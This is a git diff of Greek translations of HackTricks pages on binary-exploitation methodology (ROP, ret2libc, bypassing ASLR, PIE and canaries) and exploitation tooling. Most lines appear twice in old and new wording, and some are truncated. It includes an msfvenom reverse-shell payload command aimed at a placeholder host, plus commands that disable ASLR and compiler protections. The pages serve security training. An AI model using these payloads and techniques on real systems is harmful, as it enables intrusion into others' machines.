* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}
## Βασικές Πληροφορίες ELF
Πριν αρχίσετε να εκμεταλλεύεστε οτιδήποτε, είναι ενδιαφέρον να κατανοήσετε μέρος της δομής ενός **δυαδικού ELF αρχείου**:
Πριν αρχίσετε να εκμεταλλεύεστε οτιδήποτε, είναι ενδιαφέρον να κατανοήσετε μέρος της δομής ενός **δυαδικού ELF**:
{% content-ref url="elf-tricks.md" %}
[elf-tricks.md](elf-tricks.md)
@ -30,18 +31,18 @@
## Μεθοδολογία Υπερχείλισης Στοίβας
Με τόσες τεχνικές, είναι καλό να έχετε ένα σχέδιο όταν κάθε τεχνική θα είναι χρήσιμη. Σημειώστε ότι οι ίδιες προστασίες θα επηρεάσουν διαφορετικές τεχνικές. Μπορείτε να βρείτε τρόπους να παρακάμψετε τις προστασίες σε κάθε ενότητα προστασίας αλλά όχι σε αυτήν τη μεθοδολογία.
Με τόσες τεχνικές, είναι καλό να έχετε ένα σχέδιο όταν κάθε τεχνική θα είναι χρήσιμη. Σημειώστε ότι οι ίδιες προστασίες θα επηρεάσουν διαφορετικές τεχνικές. Μπορείτε να βρείτε τρόπους να παρακάμψετε τις προστασίες σε κάθε ενότητα προστασίας, αλλά όχι σε αυτήν τη μεθοδολογία.
## Έλεγχος της Ροής
Υπάρχουν διαφορετικοί τρόποι με τους οποίους μπορείτε να ελέγξετε τη ροή ενός προγράμματος:
* [**Υπερχείλιση Στοίβας**](../stack-overflow/) αντικαθιστώντας το δείκτη επιστροφής από τη στοίβα ή το EBP -> ESP -> EIP.
* Ίσως χρειαστεί να εκμεταλλευτείτε ένα [**Υπερχείλιση Ακεραίων**](../integer-overflow.md) για να προκαλέσετε την υπερχείλιση
* Ίσως χρειαστεί να εκμεταλλευτείτε ένα [**Ακέραιο Υπερχείλισης**](../integer-overflow.md) για να προκαλέσετε την υπερχείλιση
* Ή μέσω **Αυθαίρετων Εγγραφών + Γράψε Τι Πού στην Εκτέλεση**
* [**Συμβολοσειρές μορφοποίησης**](../format-strings/)**:** Εκμεταλλευτείτε το `printf` για να γράψετε αυθαίρετο περιεχόμενο σε αυθαίρετες διευθύνσεις.
* [**Συμβολοσειρές Μορφοποίησης**](../format-strings/)**:** Εκμεταλλευτείτε το `printf` για να γράψετε αυθαίρετο περιεχόμενο σε αυθαίρετες διευθύνσεις.
* [**Δείκτες Πίνακα**](../array-indexing.md): Εκμεταλλευτείτε έναν κακά σχεδιασμένο δείκτη για να μπορείτε να ελέγχετε ορισμένους πίνακες και να λάβετε μια αυθαίρετη εγγραφή.
* Ίσως χρειαστεί να εκμεταλλευτείτε ένα [**Υπερχείλιση Ακεραίων**](../integer-overflow.md) για να προκαλέσετε την υπερχείλιση
* Ίσως χρειαστεί να εκμεταλλευτείτε ένα [**Ακέραιο Υπερχείλισης**](../integer-overflow.md) για να προκαλέσετε την υπερχείλιση
* **bof σε WWW μέσω ROP**: Εκμεταλλευτείτε μια υπερχείλιση buffer για να κατασκευάσετε ένα ROP και να μπορείτε να λάβετε ένα WWW.
Μπορείτε να βρείτε τις τεχνικές **Γράψε Τι Πού στην Εκτέλεση** στο:
@ -52,31 +53,33 @@
## Αιώνιοι Βρόχοι
Κάτι που πρέπει να ληφθεί υπόψη είναι ότι συνήθως **μια εκμετάλλευση ενός ευπαθούς σημείου ενδέχεται να μην είναι αρκετή** για να εκτελέσετε μια επιτυχημένη εκμετάλλευση, ειδικά αν χρειάζεται να παρακαμφθούν κάποιες προστασίες. Επομένως, είναι ενδιαφέρον να συζητηθούν κάποιες επιλογές για το **κάνετε ένα ευπαθές σημείο εκμετάλλευσης αρκετές φορές** στην ίδια εκτέλεση του δυαδικού:
Κάτι που πρέπει να ληφθεί υπόψη είναι ότι συνήθως **μια εκμετάλλευση ενός ευπαθούς σημείου ενδέχεται να μην είναι αρκετή** για να εκτελέσετε με επιτυχία μια εκμετάλλευση, ειδικά αν χρειάζεται να παρακαμφθούν κάποιες προστασίες. Επομένως, είναι ενδιαφέρον να συζητήσετε κάποιες επιλογές για να **καταστήσετε μια μόνο ευπαθήτητα εκμεταλλεύσιμη πολλές φορές** κατά την ίδια εκτέλεση του δυαδικού:
* Γράψτε σε μια αλυσίδα **ROP** τη διεύθυνση της **συνάρτησης `main`** ή στη διεύθυνση όπου συμβαίνει η **ευπαθής σημείο**.
* Ελέγχοντας μια κατάλληλη αλυσίδα ROP, μπορείτε να εκτελέσετε όλες τις ενέργειες σε αυτή την αλυσίδα
* Γράψτε στη διεύθυνση **`exit` στο GOT** (ή οποιαδήποτε άλλη συνάρτηση που χρησιμοποιείται από το δυαδικό πριν το τέλος) τη διεύθυνση για να πάτε **πίσω στο ευπαθές σημείο**
* Όπως εξηγείται στο [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md#eternal-loop)**,** αποθηκεύστε 2 συναρτήσεις εδώ, μία για να καλέσετε ξανά το ευπαθές σημείο και μία για να καλέσετε την**`__libc_csu_fini`** που θα καλέσει ξανά τη συνάρτηση από το `.fini_array`.
* Γράψτε σε μια αλυσίδα **ROP** τη διεύθυνση της συνάρτησης **`main`** ή στη διεύθυνση όπου συμβαίνει η **ευπαθήτητα**.
* Ελέγχοντας μια κατάλληλη αλυσίδα ROP, μπορείτε να εκτελέσετε όλες τις ενέργειες σε αυτήν την αλυσίδα
* Γράψτε στη διεύθυνση **`exit` στο GOT** (ή οποιαδήποτε άλλη συνάρτηση που χρησιμοποιείται από το δυαδικό πριν τη λήξη) τη διεύθυνση για να πάτε **πίσω στην ευπαθήτητα**
* Όπως εξηγείται στο [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md#eternal-loop)**,** αποθηκεύστε 2 συναρτήσεις εδώ, μία για να καλέσετε ξανά την ευπαθήτητα και μία για να καλέσετε την**`__libc_csu_fini`** που θα καλέσει ξανά τη συνάρτηση από το `.fini_array`.
## Στόχοι Εκμετάλλευσης
### Στόχος: Κάλεσε μια Υπάρχουσα συνάρτηση
### Στόχος: Κλήση Υπάρχουσας Συνάρτησης
* [**ret2win**](./#ret2win): Υπάρχει μια συνάρτηση στον κώδικα που πρέπει να καλέσετε (ίσως με κάποιες συγκεκριμένες παραμέτρους) για να λάβετε τη σημαία.
* Σε ένα **κανονικό bof χωρίς** [**PIE**](../common-binary-protections-and-bypasses/pie/) **και** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), απλά χρειάζεται να γράψετε τη διεύθυνση στη διεύθυνση επιστροφής που αποθηκεύεται στη στοίβα.
* Σε ένα bof με [**PIE**](../common-binary-protections-and-bypasses/pie/), θα χρειαστεί να το παρακάμψετε
* Σε ένα bof με [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), θα χρειαστεί να το παρακάμψετε
* Σε ένα bof με [**PIE**](../common-binary-protections-and-bypasses/pie/), θα πρέπει να το παρακάμψετε
* Σε ένα bof με [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), θα πρέπει να το παρακάμψετε
* Αν χρειάζεστε να ορίσετε αρκετές παραμέτρους για να καλέσετε σωστά τη συνάρτηση **ret2win** μπορείτε να χρησιμοποιήσετε:
* Μια [**ROP**](./#rop-and-ret2...-techniques) **αλυσίδα αν υπάρχουν αρκετά gadgets** για να προετοιμάσετε όλες τις παραμέτρους
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (σε περίπτωση που μπορείτε να καλέσετε αυτή τη συνάρτηση συστήματος) για να ελέγξετε πολλούς καταχωρητές
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (σε περίπτωση που μπορείτε να καλέσετε αυτήν τη συνάρτηση συστήματος) για να ελέγξετε πολλούς καταχωρητές
* Gadgets από [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) και [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) για να ελέγξετε πολλούς καταχωρητές
* Μέσω ενός [**Γράψε Τι Πού στην Εκτέλεση**](../arbitrary-write-2-exec/) μπορείτε να εκμεταλλευτείτε άλλες ευπαθείς σημεία (όχι bof) για να καλέσετε τη συνάρτηση **`win`**.
* [**Ανακατευτήρες Δεικτών**](../stack-overflow/pointer-redirecting.md): Σε περίπτωση που η στοίβα περιέχει δείκτες προς μια συνάρτηση που θα κληθεί ή προς μια συμβολοσειρά που θα χρησιμοποιηθεί από μια εν
* Μέσω ενός [**Γράψε Τι Πού στην Εκτέλεση**](../arbitrary-write-2-exec/) μπορείτε να εκμεταλλευτείτε άλλες ευπαθότητες (όχι bof) για να καλέσετε τη συνάρτηση **`win`**.
* [**Ανακατεύθυνση Δεικτών**](../stack-overflow/pointer-redirecting.md): Σε περίπτωση που η στοίβα περιέχει δείκτες προς μια συνάρτηση που θα κληθεί ή προς μια συμβολοσειρά που θα χρησιμοποιηθεί από μια ενδιαφέρουσα συνάρτηση (system ή printf), είναι δυνατό να αντικαταστήσετε αυτήν τη διεύθυνση.
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ή [**PIE**](../common-binary-protections-and-bypasses/pie/) μπορεί να επηρεάσουν τις διευθύνσεις.
* [**Μη Αρχικοποιημένες μ
#### Μέσω κλήσεων συστήματος
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Χρήσιμο για να καλέσετε την `execve` για να εκτελέσετε τυχαίες εντολές. Πρέπει να μπορείτε να βρείτε τα **gadgets για να καλέσετε τη συγκεκριμένη κλήση συστήματος με τις παραμέτρους**.
* Εάν το [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ή το [**PIE**](../common-binary-protections-and-bypasses/pie/) είναι ενεργοποιημένα, θα πρέπει να τα ξεπεράσετε **για να χρησιμοποιήσετε ROP gadgets** από το δυαδικό αρχείο ή τις βιβλιοθήκες.
* Εάν το [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ή το [**PIE**](../common-binary-protections-and-bypasses/pie/) είναι ενεργοποιημένα, θα πρέπει να τα αντιμετωπίσετε **για να χρησιμοποιήσετε τα ROP gadgets** από το δυαδικό αρχείο ή τις βιβλιοθήκες.
* Το [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) μπορεί να είναι χρήσιμο για να προετοιμάσετε το **ret2execve**
* Gadgets από το [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) και το [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) για τον έλεγχο πολλών καταχωρητών
@ -88,20 +91,35 @@
* Με [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **αλλά χωρίς** [**PIE**](../common-binary-protections-and-bypasses/pie/), γνωρίζοντας την libc και με το δυαδικό αρχείο να χρησιμοποιεί τη λειτουργία `system` είναι δυνατόν να **`ret` στη διεύθυνση του συστήματος στο GOT** με τη διεύθυνση του `'/bin/sh'` στην παράμετρο (θα πρέπει να το ανακαλύψετε).
* Με [ASLR](../common-binary-protections-and-bypasses/aslr/) αλλά χωρίς [PIE](../common-binary-protections-and-bypasses/pie/), γνωρίζοντας την libc και **χωρίς το δυαδικό αρχείο να χρησιμοποιεί τη λειτουργία `system`**:
* Χρησιμοποιήστε το [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) για να επιλύσετε τη διεύθυνση του `system` και να την καλέσετε&#x20;
* **Ξεπεράστε** το [**ASLR**](../common-binary-protections-and-bypasses/aslr/) και υπολογίστε τη διεύθυνση του `system` και του `'/bin/sh'` στη μνήμη.
* **Αντιμετωπίστε** το [**ASLR**](../common-binary-protections-and-bypasses/aslr/) και υπολογίστε τη διεύθυνση του `system` και του `'/bin/sh'` στη μνήμη.
* **Με** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **και** [**PIE**](../common-binary-protections-and-bypasses/pie/) **και χωρίς γνώση της libc**: Χρειάζεστε:
* Ξεπεράστε το [**PIE**](../common-binary-protections-and-bypasses/pie/)
* Βρείτε τη **έκδοση της libc** που χρησιμοποιείται (διαρροή μερικών διευθύνσεων συναρτήσεων)
* Αντιμετωπίστε το [**PIE**](../common-binary-protections-and-bypasses/pie/)
* Βρείτε τη **έκδοση της `libc`** που χρησιμοποιείται (διαρροή μερικών διευθύνσεων συναρτήσεων)
* Ελέγξτε τα **προηγούμενα σενάρια με ASLR** για να συνεχίσετε.
#### Μέσω EBP/RBP
* [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Έλεγχος του ESP για τον έλεγχο του RET μέσω του αποθηκευμένου EBP στη στοίβα.
* [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Έλεγχος του ESP για να ελέγξετε το RET μέσω του αποθηκευμένου EBP στη στοίβα.
* Χρήσιμο για **off-by-one** stack overflows
* Χρήσιμο ως εναλλακτικός τρόπος για τον έλεγχο του EIP ενώ καταχράζεστε το EIP για την κατασκευή του φορτίου στη μνήμη και στη συνέχεια να μεταβείτε σε αυτό μέσω του EBP
* Χρήσιμο ως εναλλακτικός τρόπος για τον έλεγχο του EIP ενώ καταχράζεστε το EIP για να κατασκευάσετε το φορτίο στη μνήμη και στη συνέχεια να μεταβείτε σε αυτό μέσω του EBP
#### Διάφορα
* [**Ανακατεύοντας δείκτες**](../stack-overflow/pointer-redirecting.md): Σε περίπτωση που η στοίβα περιέχει δείκτες προς μια συνάρτηση που θα κληθεί ή προς ένα συμβολοσειρά που θα χρησιμοποιηθεί από μια ενδιαφέρουσα συνάρτηση (system ή printf), είναι δυνατόν να αντικαταστήσετε αυτήν τη διεύθυνση.
* [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Σε περίπτωση που η στοίβα περιέχει δείκτες προς μια συνάρτηση που θα κληθεί ή προς ένα string που θα χρησιμοποιηθεί από μια ενδιαφέρουσα συνάρτηση (system ή printf), είναι δυνατόν να αντικαταστήσετε αυτήν τη διεύθυνση.
* Το [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ή το [**PIE**](../common-binary-protections-and-bypasses/pie/) μπορεί να επηρεάσουν τις διευθύνσεις.
* [**Μη αρχικοποιημένες μεταβλητές**](../stack-overflow/uninitialized-variables.md): Δεν ξέρετε ποτέ
* Τα [**Μη αρχικοποιημένα μεταβλητά**](../stack-overflow/uninitialized-variables.md): Δεν ξέρετε ποτέ
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστηρίξτε το HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Εργαλεία Εκμετάλλευσης
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## Metasploit
```bash
@ -24,7 +25,7 @@ msfelfscan -j esi /opt/fusion/bin/level01
```
### Shellcodes
{% code overflow="wrap" %}
{% κώδικας υπερχείλισης = "τυλίγει" %}
```bash
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
@ -137,7 +138,7 @@ gef➤ pattern search 0x6261617762616176
#### Ίδιες διευθύνσεις στο GDB
Κατά την εκτέλεση αποσφαλμάτωσης, το GDB θα έχει **ελαφρώς διαφορετικές διευθύνσεις από αυτές που χρησιμοποιούνται από το δυαδικό όταν εκτελείται.** Μπορείτε να κάνετε το GDB να έχει τις ίδιες διευθύνσεις κάνοντας:
Κατά την εντοπισμό σφαλμάτων στο GDB θα έχει **ελαφρώς διαφορετικές διευθύνσεις από αυτές που χρησιμοποιούνται από το δυαδικό όταν εκτελείται.** Μπορείτε να κάνετε το GDB να έχει τις ίδιες διευθύνσεις κάνοντας:
* `unset env LINES`
* `unset env COLUMNS`
@ -157,7 +158,7 @@ gef➤ bt
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
```
### GDB server
### Εξυπηρετητής GDB
`gdbserver --multi 0.0.0.0:23947` (στο IDA πρέπει να συμπληρώσετε τον απόλυτο δρόμο του εκτελέσιμου στη μηχανή Linux και στη μηχανή Windows)
@ -165,8 +166,8 @@ gef➤ bt
### Εύρεση μετατόπισης στοίβας
**Το Ghidra** είναι πολύ χρήσιμο για να βρείτε τη **μετατόπιση (offset)** για ένα **buffer overflow χάρη στις πληροφορίες σχετικά με τη θέση των τοπικών μεταβλητών.**\
Για παράδειγμα, στο παρακάτω παράδειγμα, ένα buffer overflow στο `local_bc` υποδηλώνει ότι χρειάζεστε μια μετατόπιση του `0xbc`. Επιπλέον, αν το `local_10` είναι ένα canary cookie, υποδηλώνει ότι για να το αντικαταστήσετε από το `local_bc` υπάρχει μια μετατόπιση του `0xac`.\
**Το Ghidra** είναι πολύ χρήσιμο για να βρείτε τη **μετατόπιση** για ένα **υπερχείλιση buffer χάρη στις πληροφορίες σχετικά με τη θέση των τοπικών μεταβλητών.**\
Για παράδειγμα, στο παρακάτω παράδειγμα, μια υπερχείλιση buffer στο `local_bc` υποδηλώνει ότι χρειάζεστε μια μετατόπιση του `0xbc`. Επιπλέον, αν το `local_10` είναι ένα canary cookie υποδηλώνει ότι για να το αντικαταστήσετε από το `local_bc` υπάρχει μια μετατόπιση του `0xac`.\
_Να θυμάστε ότι τα πρώτα 0x08 από όπου αποθηκεύεται το RIP ανήκουν στο RBP._
![](<../../../.gitbook/assets/image (1061).png>)
@ -179,12 +180,12 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
## GCC
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Μεταγλωττίστε χωρίς προστασίες\
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Μεταγλώττιση χωρίς προστασίες\
**-o** --> Έξοδος\
**-g** --> Αποθήκευση κώδικα (το GDB θα μπορεί να τον δει)\
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Για απενεργοποίηση του ASLR στο Linux
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Απενεργοποίηση του ASLR στο Linux
**Για μεταγλώττιση ενός shellcode:**\
**Για να μεταγλωττίσετε ένα shellcode:**\
**nasm -f elf assembly.asm** --> επιστρέφει ένα ".o"\
**ld assembly.o -o shellcodeout** --> Εκτελέσιμο
@ -199,7 +200,7 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
\-D -s -j .plt --> τμήμα plt **αποσυναρμολογημένο**\
**-TR** --> **Ανακατευθύνσεις**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Διεύθυνση του "puts" για τροποποίηση στο GOT\
**objdump -D ./exec | grep "VAR\_NAME"** --> Διεύθυνση στατικής μεταβλητής (αυτές αποθηκεύονται στο τμήμα DATA).
**objdump -D ./exec | grep "VAR\_NAME"** --> Διεύθυνση μιας στατικής μεταβλητής (αυτές αποθηκεύονται στο τμήμα DATA).
## Core dumps
@ -224,9 +225,9 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
```
## IDA
### Αποσφαλμάτωση σε απομακρυσμένο Linux
### Αποσφαλμάτωση σε απομακρυσμένο σύστημα Linux
Μέσα στον φάκελο του IDA μπορείτε να βρείτε δυαδικά αρχεία που μπορούν να χρησιμοποιηθούν για να γίνει αποσφαλμάτωση ενός δυαδικού αρχείου μέσα σε ένα Linux. Για να το κάνετε αυτό, μετακινήστε το δυαδικό αρχείο `linux_server` ή `linux_server64` μέσα στον διακομιστή Linux και εκτελέστε το μέσα στον φάκελο που περιέχει το δυαδικό αρχείο:
Μέσα στον φάκελο του IDA μπορείτε να βρείτε δυαδικά αρχεία που μπορούν να χρησιμοποιηθούν για την αποσφαλμάτωση ενός δυαδικού αρχείου σε ένα σύστημα Linux. Για να το κάνετε αυτό, μετακινήστε το δυαδικό αρχείο `linux_server` ή `linux_server64` μέσα στον διακομιστή Linux και εκτελέστε το μέσα στον φάκελο που περιέχει το δυαδικό αρχείο:
```
./linux_server64 -Ppass
```
@ -234,16 +235,17 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
![](<../../../.gitbook/assets/image (858).png>)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης των HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στα HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή την [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# PwnTools
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
